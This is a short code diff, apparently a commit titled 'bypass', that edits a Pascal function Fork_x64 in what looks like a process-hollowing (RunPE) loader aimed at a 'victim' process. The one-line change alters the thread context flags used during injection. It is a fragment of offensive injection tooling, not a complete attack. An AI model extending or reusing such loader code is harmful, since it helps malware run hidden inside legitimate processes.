#1 - bypass

Author: zux0x3a

Lib/runner.pas

@@ -173,7 +173,7 @@ function Fork_x64(sVictim:string; bFile:TByteArray;var threadhandle:thandle):Boo
         begin
 
            CONT := PCONTEXT(VirtualAlloc(nil, sizeof(CONT), MEM_COMMIT, PAGE_READWRITE));
-          CONT.ContextFlags := CONTEXT_FULL;
+          CONT.ContextFlags := CONTEXT_ALL;
 
           if GetThreadContext(PI.hThread, CONT^) then
           begin